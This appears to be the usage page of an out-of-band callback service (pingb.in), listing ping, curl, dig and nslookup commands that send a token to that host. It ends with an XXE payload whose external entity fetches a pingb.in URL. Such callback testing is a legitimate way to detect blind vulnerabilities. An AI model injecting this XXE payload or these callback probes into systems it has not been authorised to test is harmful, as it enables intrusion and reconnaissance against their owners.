$ ping -c1 -p 00a3853c56ad22f68904efefc8607100 pingb.in
 

$ curl pingb.in/p/a3853c56ad22f68904efefc86071
 

$ dig a3853c56ad22f68904efefc86071 @pingb.in
 

$ dig a3853c56ad22f68904efefc86071.ns.pingb.in
 

C:\> nslookup a3853c56ad22f68904efefc86071 pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/a3853c56ad22f68904efefc86071">]>
    <foo>&xxe;</foo>